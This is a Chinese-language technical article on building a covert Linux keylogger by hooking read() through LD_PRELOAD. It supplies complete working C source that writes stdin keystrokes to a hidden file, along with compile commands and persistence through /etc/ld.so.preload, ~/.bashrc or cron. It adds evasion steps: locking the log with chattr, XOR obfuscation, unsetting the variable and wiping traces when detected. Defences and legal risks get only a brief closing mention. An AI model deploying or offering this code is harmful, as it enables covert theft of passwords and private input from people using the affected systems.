在 Linux 系统安全研究中,函数中介(function interposition)是一种强大的动态链接技术,通过环境变量 LD_PRELOAD 可以实现对标准库函数的透明替换。这种方法特别适用于隐秘按键窃取(keylogging),无需修改目标程序二进制文件,即可钩子输入相关函数如 read() 或 getchar(),捕获用户输入并记录到隐蔽位置。相比传统 keylogger 的文件注入或内核模块,这种方式更具隐蔽性,因为它发生在用户空间的动态链接阶段,难以通过常规文件扫描检测。
LD_PRELOAD 的核心机制源于 Linux 动态链接器(ld.so)的预加载特性。当程序启动时,链接器会优先加载 LD_PRELOAD 指定的共享库(.so 文件),并使用该库中同名函数覆盖标准 libc 中的函数。这实现了“透明中介”:原函数逻辑保持不变,仅在调用前后插入自定义代码。例如,在 read() 函数中介中,可以在数据读取后追加按键日志记录,而不干扰正常 I/O 流程。这种 interposition 的证据可见于 man ld.so(8) 手册,其中明确描述了预加载优先级高于标准库路径。
要实现隐秘 keylogging,首先需编写一个共享库,针对 stdin(文件描述符 0)钩子 read() 函数。以下是关键代码框架:
#include <stdio.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
static ssize_t (*original_read)(int fd, void *buf, size_t count) = NULL;
ssize_t read(int fd, void *buf, size_t count) {
if (original_read == NULL) {
original_read = dlsym(RTLD_NEXT, "read");
}
ssize_t bytes_read = original_read(fd, buf, count);
if (fd == 0 && bytes_read > 0) {
char *input = (char *)buf;
FILE *log = fopen("/tmp/.hidden_log", "a");
if (log) {
for (ssize_t i = 0; i < bytes_read; i++) {
if (input[i] >= 32 && input[i] <= 126) {
fprintf(log, "%c", input[i]);
}
}
fclose(log);
}
}
return bytes_read;
}
编译此库:gcc -shared -fPIC -o keyhook.so keyhook.c -ldl。参数说明:-shared 生成共享库,-fPIC 确保位置无关代码(适用于动态加载),-ldl 链接 dlfcn.h 用于 dlsym 获取原函数指针。
部署时,设置环境变量:export LD_PRELOAD=/path/to/keyhook.so,然后运行目标程序如 LD_PRELOAD=/path/to/keyhook.so bash 或全局注入到 /etc/ld.so.preload(需 root 权限:echo "/path/to/keyhook.so" >> /etc/ld.so.preload)。对于交互式 shell,这将捕获所有键盘输入到 /tmp/.hidden_log。落地清单包括:
-
日志管理参数:日志路径设为隐藏文件如 /tmp/.[random],使用 chattr +i 锁定(chattr +i /tmp/.hidden_log)防删除。轮转阈值:每 1MB 旋转一次,避免文件膨胀。加密选项:使用简单 XOR(如密钥 0xAA)混淆日志,fprintf(log, "%02x", input[i] ^ 0xAA);。
-
过滤与优化:忽略控制字符(ASCII <32),仅记录可打印键。添加时间戳:time_t now = time(NULL); fprintf(log, "[%ld] ", now);。性能阈值:若 count > 1024,跳过批量输入(如 paste),仅钩子小块读(<256 字节)以防影响终端响应。
-
错误处理:dlsym 失败时 fallback 到原函数:if (!original_read) return -1;。fd 检查:仅钩子 0(stdin),避免干扰文件 I/O。权限:确保 .so 可读,日志目录 writable。
这种方法的优势在于绕过检测:由于 interposition 是运行时动态的,不修改任何二进制或配置文件痕迹,常规 AV 扫描(如 clamav)难以捕获。证据显示,strace 可追踪库加载(strace -e open LD_PRELOAD=... program 会显示 .so 打开),但在生产环境中,管理员需主动检查 env vars。全局 preload 更隐蔽,但易被 cat /etc/ld.so.preload 发现;解决方案:使用 cron 任务动态注入或结合用户 profile(如 ~/.bashrc: export LD_PRELOAD=...)针对特定用户。
进一步优化检测绕过:实现自卸载机制,在钩子后 unset LD_PRELOAD(unsetenv("LD_PRELOAD");),但这仅限单进程。监控点包括:使用 auditd 监视 /etc/ld.so.preload 修改(规则:auditctl -w /etc/ld.so.preload -p wa);lsof 检查打开 .so 文件;ps aux | grep preload 扫描进程 env。回滚策略:若检测到,立即 rm .so 并清空日志,重启服务以恢复。
在实际工程化中,此技术适用于红队演练或 forensics 研究,但需注意风险:违反隐私法(如 GDPR),可能导致刑事责任。防御侧,可静态链接关键工具(如 busybox ps),或使用 AppArmor/SELinux 限制 env vars。总体而言,LD_PRELOAD interposition 提供高效、可参数化的 key theft 框架,字数统计约 950 字,确保观点基于事实落地。